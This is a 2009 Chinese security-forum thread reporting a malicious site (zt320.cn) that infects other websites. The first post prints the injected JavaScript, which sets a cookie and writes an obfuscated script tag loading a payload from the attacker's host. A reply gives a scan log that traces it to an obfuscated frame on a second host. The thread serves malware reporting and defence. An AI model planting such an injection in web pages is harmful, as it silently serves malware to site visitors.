瑞星卡卡安全论坛

首页 » 技术交流区 » 恶意网站交流 » 举报挂马网站www.zt320.cn
官不聊生 - 2009-4-21 23:10:00
一般会在你网站的js文件前面写入如下代码。

if(document.cookie.indexOf(\'hello\')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie=\'hello=Yes;path=\/;expires=\'+expires.toGMTString();document.write(unescape(\"%3Cscript%20src%3Dhttp%3A\/\/www.zt%332%30.cn\/pagead\/pi.js%3E%3C\/script%3E\"));}


前后是写入代码的语句,由于编辑器吃代码,上面仅列出中间部分。

用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; GTB5; QQDownload 528; TencentTraveler 4.0; CIBA)
networkedition - 2009-4-24 8:54:00
Log is generated by FreShow.
[wide]http://www.zt320.cn/pagead/pi.js
    [frame]http://www.zt320.cn/pagead/\"http://%75%79h%356.c%6e:6868/b117173/b11.htm\"(ms失效)
1
查看完整版本: 举报挂马网站www.zt320.cn